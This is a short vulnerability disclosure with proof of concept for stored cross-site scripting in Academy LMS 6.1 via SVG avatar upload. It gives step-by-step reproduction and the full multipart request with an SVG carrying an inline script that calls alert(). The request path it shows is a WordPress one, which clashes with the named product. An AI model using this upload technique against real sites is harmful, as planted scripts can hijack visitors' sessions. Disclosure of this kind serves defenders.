Academy LMS 6.1 Cross Site Scripting / File Upload

`# Exploit Title: Academy LMS 6.1 - Arbitrary File Upload  
# Exploit Author: CraCkEr  
# Date: 05/08/2023  
# Vendor: Creativeitem  
# Vendor Homepage: https://academylms.net/  
# Software Link: https://demo.academylms.net/  
# Tested on: Windows 10 Pro  
# Impact: Allows User to upload files to the web server  
# CWE: CWE-79 - CWE-74 - CWE-707  
  
  
## Description  
  
Allows Attacker to upload malicious files onto the server, such as Stored XSS  
  
  
## Steps to Reproduce:  
  
1. Login as a [Normal User]  
2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/dashboard/#/settings  
3. Upload any Image into the [avatar]  
4. Capture the POST Request with [Burp Proxy Intercept]  
5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]  
  
-----------------------------------------------------------  
POST /wp-admin/async-upload.php HTTP/2  
  
-----------------------------------------------------------  
Content-Disposition: form-data; name="async-upload"; filename="ahacka.svg"  
Content-Type: image/svg+xml  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert("XSS by CraCkEr");  
</script>  
</svg>  
-----------------------------------------------------------  
  
6. Send the Request  
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS]  
8. Access your Uploded Evil file on this Path: https://website/wp-content/uploads/***/**/*****.svg  
  
  
  
[-] Done  
`